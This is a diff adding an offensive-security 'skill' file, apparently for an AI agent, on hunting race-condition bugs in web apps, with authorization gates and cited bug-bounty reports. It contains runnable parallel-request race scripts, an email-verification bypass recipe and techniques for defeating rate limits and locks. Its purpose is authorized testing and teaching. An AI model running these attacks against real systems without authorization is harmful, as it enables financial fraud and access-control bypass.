@@ -0,0 +1,381 @@
1
+ ---
2
+ name: hunt-race-condition
3
+ description: Hunting skill for race condition vulnerabilities.
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: github, hackerone_public, portswigger_research, flatt_security
16
+ report_count: 10
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ ## Firing a race — two primitives (tooling-agnostic)
33
+
34
+ Winning a race needs requests that arrive in the *same* narrow window — sequential sends never
35
+ work. Use a single-packet / synchronized-send tool: **Burp Repeater** "Send group in parallel"
36
+ (HTTP/2 single-packet attack), **Turbo Intruder** (`engine=Engine.BURP2`, `gate` sync), or any
37
+ client that can flush N requests simultaneously. Two shapes:
38
+
39
+ - **Identical-copies race** — fire N IDENTICAL copies of one request at once (limit-overrun:
40
+ double-spend a coupon/gift-card, exceed a one-per-user quota). Success = ≥2 of the N return 2xx.
41
+ - **Different-requests race (partial construction)** — fire a LIST of DIFFERENT requests in one
42
+ synchronized window, repeated over several rounds. For register-then-confirm / TOCTOU races
43
+ where the object exists in a usable state mid-creation. Example (email-verification bypass —
44
+ register an arbitrary email, then confirm it through the construction window with a blank token):
45
+ ```
46
+ Request A: POST /register body: csrf=<csrf>&username=hacker&email=anything@exploit.net&password=pw
47
+ Request B: GET /confirm params: token= (empty)
48
+ Fire A and B together, repeat ~20 rounds.
49
+ ```
50
+ Get a fresh CSRF from `GET /register` first, then fire the batch. After it succeeds, log in as the
51
+ new account and perform the objective (e.g. a state-changing admin action such as deleting a user).
52
+ The blank-token confirm wins during the window where the user row exists but its verification
53
+ token isn't set yet.
54
+
55
+ ## Crown Jewel Targets
56
+
57
+ Race conditions are high-severity findings because they break financial, access control, and integrity assumptions that defenders rarely stress-test. Highest payouts come from:
58
+
59
+ - **Monetary/credit systems** — double-spending gift cards, coupons, referral bonuses, promotional credits, wallet balances
60
+ - **Vote/reputation manipulation** — upvoting the same content multiple times, gaming leaderboards or trending algorithms
61
+ - **Account limits bypass** — exceeding free-tier quotas, bypassing "one per user" restrictions on invites, trial activations, or API key generation
62
+ - **Privilege escalation** — racing role assignment or permission checks during user creation/upgrade flows
63
+ - **Deletion bypass** — reading or exfiltrating data during a narrow window between "marked for deletion" and "actually deleted"
64
+ - **Payment flows** — charging a card once but receiving multiple fulfillments
65
+
66
+ **Best-paying asset types:** Fintech apps, SaaS platforms with credit/subscription models, social platforms with reputation systems, e-commerce checkout flows, OAuth/SSO token endpoints.
67
+
68
+ ---
69
+
70
+ ## Attack Surface Signals
71
+
72
+ ### URL Patterns
73
+ ```
74
+ /vote, /upvote, /like, /favorite
75
+ /redeem, /apply-coupon, /use-code, /claim
76
+ /purchase, /checkout, /confirm-order, /pay
77
+ /transfer, /withdraw, /send-money
78
+ /invite, /referral, /accept-invite
79
+ /upgrade, /activate, /trial
80
+ /delete, /deactivate, /cancel
81
+ /follow, /subscribe
82
+ ```
83
+
84
+ ### Response Headers That Signal Race-Prone Backends
85
+ ```
86
+ X-RateLimit-* # rate limiting exists, but may not be atomic
87
+ X-Request-Id # each request independently tracked
88
+ No Cache-Control # stateful ops not idempotent
89
+ ```
90
+
91
+ ### JavaScript Patterns to Grep
92
+ ```javascript
93
+ // Single-use action buttons with client-side disable
94
+ button.disabled = true
95
+ $('#btn').prop('disabled', true)
96
+ // Optimistic UI updates (state set before server confirms)
97
+ setState({ used: true })
98
+ // Sequential async calls without locking
99
+ await useVoucher(); await deductBalance();
100
+ ```
101
+
102
+ ### Tech Stack Signals
103
+ - **Ruby on Rails** without `with_lock` / `lock!` — ActiveRecord doesn't lock by default
104
+ - **Node.js** with async/await chains — non-atomic DB reads then writes
105
+ - **PHP** without `SELECT ... FOR UPDATE` — common in legacy codebases
106
+ - **Microservices** — inter-service calls introduce natural TOCTOU windows
107
+ - **Redis counters** without Lua scripts or `INCR` atomicity checks
108
+ - **Message queues** — idempotency keys often missing
109
+
110
+ ---
111
+
112
+ ## Step-by-Step Hunting Methodology
113
+
114
+ 1. **Enumerate one-time or limited-use actions** — Map every endpoint that enforces a "once per user", "limited quantity", or "deduct balance" constraint. These are your primary targets.
115
+
116
+ 2. **Understand the state machine** — For each target action, identify: (a) what state is read, (b) what state is written, (c) what validation sits between read and write. The gap between read and write is your window.
117
+
118
+ 3. **Capture a clean baseline request** — Perform the action once legitimately with Burp Suite intercepting. Confirm you get the expected single-use behavior (e.g., coupon marked used, vote counted once).
119
+
120
+ 4. **Set up parallel request tooling** — Use one of:
121
+ - Burp Suite Repeater → "Send group in parallel" (Turbo Intruder for HTTP/2 single-packet attacks)
122
+ - Turbo Intruder with `engine=Engine.BURP2` for last-byte sync
123
+ - `curl` with `&` backgrounding
124
+ - Python `threading` or `asyncio` with pre-built connections
125
+
126
+ 5. **Execute the race** — Send 10–50 identical requests simultaneously. Key technique: **pre-connect and buffer all requests, release the final byte of all simultaneously** (single-packet attack when HTTP/2 is available).
127
+
128
+ 6. **Analyze responses** — Look for:
129
+ - Multiple `200 OK` where only one should succeed
130
+ - Duplicate success messages
131
+ - Database constraint errors (signals the race worked but hit the last-line-of-defense)
132
+ - Inconsistent response times (one fast, rest slow = serialized; all same speed = parallel processing)
133
+
134
+ 7. **Verify the effect** — Check the actual state: Was the credit applied twice? Did the vote count increment multiple times? Is the coupon still marked unused despite two successes?
135
+
136
+ 8. **Determine exploitability window** — Re-run with decreasing parallelism (5 requests, 3 requests, 2 requests) to understand how tight the window is and reliability of exploitation.
137
+
138
+ 9. **Test across account types** — Sometimes the race only works for new accounts, specific subscription tiers, or under specific server load. Test varied conditions.
139
+
140
+ 10. **Document reproducibility** — Record exact timing, number of parallel requests needed, and success rate across 5 independent attempts before reporting.
141
+
142
+ ---
143
+
144
+ ## Payload & Detection Patterns
145
+
146
+ ### Turbo Intruder — Basic Parallel Race
147
+ ```python
148
+ # turbo_intruder_race.py
149
+ def queueRequests(target, wordlists):
150
+ engine = RequestEngine(endpoint=target.endpoint,
151
+ concurrentConnections=1,
152
+ engine=Engine.BURP2) # HTTP/2 single-packet
153
+ for i in range(20):
154
+ engine.queue(target.req, gate='race1')
155
+ engine.openGate('race1')
156
+
157
+ def handleResponse(req, interesting):
158
+ if '200' in req.status:
159
+ table.add(req)
160
+ ```
161
+
162
+ ### curl — Parallel Requests (bash)
163
+ ```bash
164
+ # Fire 15 simultaneous vote/redeem requests
165
+ for i in $(seq 1 15); do
166
+ curl -s -o /dev/null -w "%{http_code}\n" \
167
+ -X POST "https://target.com/api/vote" \
168
+ -H "Cookie: session=YOUR_SESSION" \
169
+ -H "Content-Type: application/json" \
170
+ -d '{"report_id": "12345", "vote": "up"}' &
171
+ done
172
+ wait
173
+ ```
174
+
175
+ ### Python asyncio Race
176
+ ```python
177
+ import asyncio, aiohttp
178
+
179
+ async def race_request(session, url, payload, headers):
180
+ async with session.post(url, json=payload, headers=headers) as r:
181
+ return await r.text()
182
+
183
+ async def main():
184
+ url = "https://target.com/redeem"
185
+ payload = {"code": "GIFT50"}
186
+ headers = {"Cookie": "session=XXXXX"}
187
+
188
+ async with aiohttp.ClientSession() as session:
189
+ tasks = [race_request(session, url, payload, headers) for _ in range(20)]
190
+ results = await asyncio.gather(*tasks)
191
+
192
+ for r in results:
193
+ print(r[:100]) # print first 100 chars of each response
194
+
195
+ asyncio.run(main())
196
+ ```
197
+
198
+ ### Grep Patterns for Source Code Auditing
199
+ ```bash
200
+ # Look for read-then-write without locking
201
+ grep -rn "find_by\|where.*first" --include="*.rb" | grep -v "lock"
202
+ grep -rn "SELECT.*WHERE" --include="*.php" | grep -v "FOR UPDATE"
203
+
204
+ # JavaScript async without atomicity
205
+ grep -rn "await.*get\|await.*find" --include="*.js" -A2 | grep "await.*update\|await.*save"
206
+
207
+ # Python Django ORM without select_for_update
208
+ grep -rn "\.get(\|\.filter(" --include="*.py" | grep -v "select_for_update"
209
+ ```
210
+
211
+ ### HTTP/2 Single-Packet Check
212
+ ```bash
213
+ # Verify target supports HTTP/2 (prerequisite for single-packet attack)
214
+ curl -sI --http2 https://target.com | grep -i "HTTP/2\|h2"
215
+ ```
216
+
217
+ ---
218
+
219
+ ## Common Root Causes
220
+
221
+ 1. **Check-Then-Act without atomic operations** — Developer reads state (`if voucher.used == false`), then writes state (`voucher.update(used: true)`) in two separate database operations. Any thread can read the same "unused" state before either writes.
222
+
223
+ 2. **Missing database-level locking** — Using ORM methods like `find` or `filter` instead of `SELECT ... FOR UPDATE`. The fix is one line but developers don't think about concurrency.
224
+
225
+ 3. **Optimistic concurrency without version checking** — Systems increment counters or mark records without checking if the record changed since it was read.
226
+
227
+ 4. **Microservice TOCTOU** — Service A validates eligibility, Service B executes the action. No shared atomic transaction spans both services.
228
+
229
+ 5. **Client-side "protection"** — Developers disable the button in JavaScript after first click, assuming that prevents duplicate submissions. Server-side logic is never hardened.
230
+
231
+ 6. **Counter increments outside transactions** — `votes_count += 1; save()` instead of an atomic SQL `UPDATE SET votes = votes + 1 WHERE id = ?`.
232
+
233
+ 7. **Async background jobs** — Eligibility checked synchronously, fulfillment done asynchronously. A second request passes the check before the first job completes.
234
+
235
+ 8. **Caching without invalidation** — Cached "has user voted?" check returns stale `false` during a cache miss window when the first write hasn't propagated yet.
236
+
237
+ ---
238
+
239
+ ## Bypass Techniques
240
+
241
+ ### What Defenders Implement (and How to Bypass)
242
+
243
+ **Defense: Per-user rate limiting**
244
+ - Bypass: Rate limits are checked before the action executes. Send requests simultaneously — all pass the rate-limit check before any is counted.
245
+
246
+ **Defense: Idempotency keys / unique request tokens**
247
+ - Bypass: If the server generates or reuses the token, try sending parallel requests without the token. Or check if the uniqueness check itself has a race window.
248
+
249
+ **Defense: Database unique constraints**
250
+ - Bypass: The constraint catches duplicates *after* the race. The first two may both succeed before DB enforces. Look for partial fulfillment — sometimes one succeeds and one errors but both are honored.
251
+
252
+ **Defense: Short time windows / expiring tokens**
253
+ - Bypass: Pre-stage all requests with valid tokens. Use single-packet HTTP/2 to release all in one TCP frame — server processes them in the same scheduler slot.
254
+
255
+ **Defense: Queue-based serialization**
256
+ - Bypass: Multiple queues (or multiple workers consuming the same queue) can pick up duplicate messages. Test by overwhelming the queue during the window.
257
+
258
+ **Defense: Application-layer mutex / locks**
259
+ - Bypass: Distributed systems running multiple app servers don't share in-process locks. Send requests to the same endpoint via different CDN nodes or load-balanced servers.
260
+
261
+ **Defense: "Already used" checks in application code**
262
+ - Bypass: The check and the update are separate. The check passes for both racing requests before either update completes. Only an atomic `UPDATE ... WHERE used=false RETURNING id` truly prevents this.
263
+
264
+ ---
265
+
266
+ ## Gate 0 Validation
267
+
268
+ Before writing the report, confirm all three:
269
+
270
+ 1. **What can the attacker DO right now?**
271
+ Can you demonstrate — with screenshots or logs — that the same one-time action succeeded more than once? (e.g., vote count shows +2 from one user, credit balance shows double-credit, coupon shows redeemed twice)
272
+
273
+ 2. **What does the victim LOSE?**
274
+ Is there concrete, measurable harm? Financial loss (credits issued in excess), integrity loss (manipulated rankings/votes), or security loss (access granted beyond entitlement)? "The counter went up twice" is only valid if that counter has real-world value.
275
+
276
+ 3. **Can it be reproduced in 10 minutes from scratch?**
277
+ Can you write a 20-line script, run it against a fresh test account, and reliably demonstrate the duplicate effect at least 3/5 attempts? If it requires perfect timing you cannot reliably control, the exploitability claim is weak.
278
+
279
+ ---
280
+
281
+ ## Real Impact Examples
282
+
283
+ ### Scenario 1: Social Platform Vote Manipulation
284
+ A bug bounty platform's "popular reports" feature allowed upvotes to improve report visibility and researcher reputation scores. By sending ~15 parallel upvote requests for the same report using a single HTTP/2 connection (single-packet attack), a researcher was able to register 10–15 votes from a single account. This allowed artificial inflation of report rankings, manipulation of researcher reputation scores, and distortion of the platform's crowdsourced prioritization system — directly undermining trust in the platform's core feature for triaging vulnerability reports.
285
+
286
+ ### Scenario 2: Major Social Network — Duplicate Promotional Actions
287
+ On a major social network (Facebook-scale), promotional or limited-use actions — such as adding a phone number for a one-time security credit, or claiming a one-time bonus — were vulnerable to simultaneous parallel requests. An attacker could race the claim endpoint and receive the promotional benefit multiple times, causing direct financial loss to the platform and allowing fraudulent accumulation of platform currency or benefits at scale. Given the user volume, even a brief window before patching represented significant financial exposure.
288
+
289
+ ### Scenario 3: Cloud Infrastructure Provider — Resource Limit Bypass
290
+ A cloud hosting provider enforced limits on the number of resources (e.g., droplets, projects, or API keys) a free-tier user could create. The limit check and resource creation were non-atomic operations. By racing the creation endpoint with 20 simultaneous requests, an attacker bypassed the enforcement logic and created resources far exceeding their tier limit. This translated directly to unauthorized compute consumption, billing fraud, and abuse of infrastructure — impacting both the provider's revenue and system stability for legitimate users.
291
+
292
+ ---
293
+
294
+ ## Disclosed Report Citations (Backfill +9 — 2016-2024)
295
+
296
+ The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Four cases (#4, #11, #12, plus the bonus reference) use the modern **HTTP/2 single-packet attack** technique (Kettle DEF CON 31, 2023; Flatt Security expansion 2024) — the technique that makes most modern race exploits viable today.
297
+
298
+ 4. **GitLab — CVE-2022-4037 email-verification race (Kettle DEF CON 31 case study)** ([NVD](https://nvd.nist.gov/vuln/detail/CVE-2022-4037) · [PortSwigger Research](https://portswigger.net/research/smashing-the-state-machine))
299
+ - Subclass: password-reset / email-change token race (TOCTOU on email verification)
300
+ - Single-packet HTTP/2: **YES** — flagship case study in "Smashing the State Machine"
301
+ - Payload: two concurrent `POST /-/profile` requests changing email to two different addresses; the verification token sent to address A becomes valid for address B because state transitions weren't atomic
302
+ - Root cause: Devise (Rails auth) builds the confirmation token before the new email is persisted; concurrent updates misroute the token
303
+ - Year: 2022 (disclosed 2023), CVSS 6.4, patched 15.7.2 / 15.6.4 / 15.5.7
304
+
305
+ 5. **Worldcoin (Tools for Humanity) — World ID action-verification race** ([Medium writeup](https://medium.com/@gonzo-hacks/the-fast-and-the-curious-finding-a-race-condition-in-worldcoin-621c89bfbd61))
306
+ - Subclass: vote/upvote inflation (one-human-one-action enforcement bypass)
307
+ - Payload: ~20 parallel requests via Burp "Send in Parallel" against the verification endpoint
308
+ - Root cause: `canVerifyForAction` appended to an array without DB-level locking; fix added `nullifiers` table with atomic UPSERT
309
+ - Year: 2023 — **$3,000** (High)
310
+
311
+ 6. **Stripe — Promotion code redeemed past limit** ([H1 #1717650](https://hackerone.com/reports/1717650))
312
+ - Subclass: coupon double-redemption
313
+ - Payload: create promo with redemption limit = 1; open two payment-link tabs of same merchant, apply coupon in both, click Pay simultaneously → both succeed
314
+ - Root cause: redemption counter incremented post-charge, not atomically with charge; no row-level lock on `promotion_code.times_redeemed`
315
+ - Year: 2022 — **$250**
316
+
317
+ 7. **Stripe — Fee discounts redeemed many times** ([H1 #1849626](https://hackerone.com/reports/1849626))
318
+ - Subclass: wallet/balance double-spend (Connect fee discount could be redeemed repeatedly)
319
+ - Payload: parallel POSTs to redemption endpoint of a one-shot promotional credit before the credit-consumed flag flipped
320
+ - Root cause: non-atomic check-then-decrement on the credit balance object
321
+ - Year: 2023 — **$5,000**, ~$600 platform fee loss per redemption
322
+
323
+ 8. **Reverb.com — Gift card multi-redemption** ([H1 #759247](https://hackerone.com/reports/759247))
324
+ - Subclass: coupon double-redemption (gift card)
325
+ - Payload: capture `POST /gift_cards/redeem` → duplicate N× → fire parallel → balance credited N× from a single card
326
+ - Root cause: gift-card consumption marker written after balance credit, no `SELECT…FOR UPDATE` around the redemption read
327
+ - Year: 2019 — **$1,500** (foundational/widely cited)
328
+
329
+ 9. **Cosmos / Starport faucet — Double-mint race** ([H1 #1438052](https://hackerone.com/reports/1438052))
330
+ - Subclass: wallet/balance double-spend (crypto faucet token issuance)
331
+ - Payload: simultaneous `/faucet/transfer` requests; the `Transfer` Go function executes two state-mutating actions per request, both non-atomic
332
+ - Root cause: faucet handler did not lock per-recipient; transfer() read-modify-write was not serialized
333
+ - Year: 2022 — **$5,000** (CVSS 9.3)
334
+
335
+ 10. **InnoGames — Email-activation race → unlimited diamonds** ([H1 #509629](https://hackerone.com/reports/509629))
336
+ - Subclass: referral abuse multiplier / account-create race (one activation token → multiple "first activation bonus" payouts)
337
+ - Payload: race the email-activation endpoint with the same one-time token before `token_used` flag committed → reward granted on every winning request
338
+ - Root cause: token-consumption flag set in same transaction as reward grant, but transaction isolation level too low (READ COMMITTED)
339
+ - Year: 2019 — **$2,000**
340
+
341
+ 11. **RyotaK / Flatt Security — "First Sequence Sync" PIN-bruteforce (10,000-req single-packet expansion)** ([Flatt Security Research](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/))
342
+ - Subclass: rate-limit bypass via race / MFA-OTP-validate race (6-digit PIN with 5-attempt cap)
343
+ - Single-packet HTTP/2: **YES** — extends Kettle's single-packet from ~30 requests to 10,000 requests in 166 ms by splitting across IP fragments with synchronized TCP first-sequence
344
+ - Payload: ~10,000 concurrent `POST /verify-pin` requests in 166 ms, each with a different 4-6 digit guess, all landing inside the rate-limit window
345
+ - Root cause: rate-limit counter incremented per-request asynchronously; "5 attempts" gate read stale counter for the entire batch
346
+ - Year: 2024 — **must-reference modern single-packet example**
347
+
348
+ 12. **nopCommerce — CVE-2024-58248 gift-card double-redemption** ([NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-58248))
349
+ - Subclass: coupon double-redemption (e-commerce checkout TOCTOU)
350
+ - Single-packet HTTP/2: **YES** — single-packet attack reproduces it reliably
351
+ - Payload: two parallel `POST /checkout/PlaceOrder` requests both applying the same gift card → both orders complete, gift card balance debited once
352
+ - Root cause: order-placement code path did not implement locking on gift-card balance row → check-then-debit non-atomic
353
+ - Year: 2024 (versions before 4.80.0)
354
+
355
+ ---
356
+
357
+
358
+ ## Contents
359
+
360
+ - [HTTP/2 Single-Packet Attack — Deep Reference](references/details.md)
361
+ - [Related Skills & Chains](references/details.md)
362
+
363
+ ## When to Use
364
+
365
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
366
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
367
+
368
+ ## Limitations
369
+
370
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
371
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
372
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
373
+
374
+ ### Example
375
+
376
+ ```bash
377
+ # Read-only first step; confirm scope before anything active.
378
+ cat scope.txt # target list from the authorized engagement brief
379
+ ```
380
+
381
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.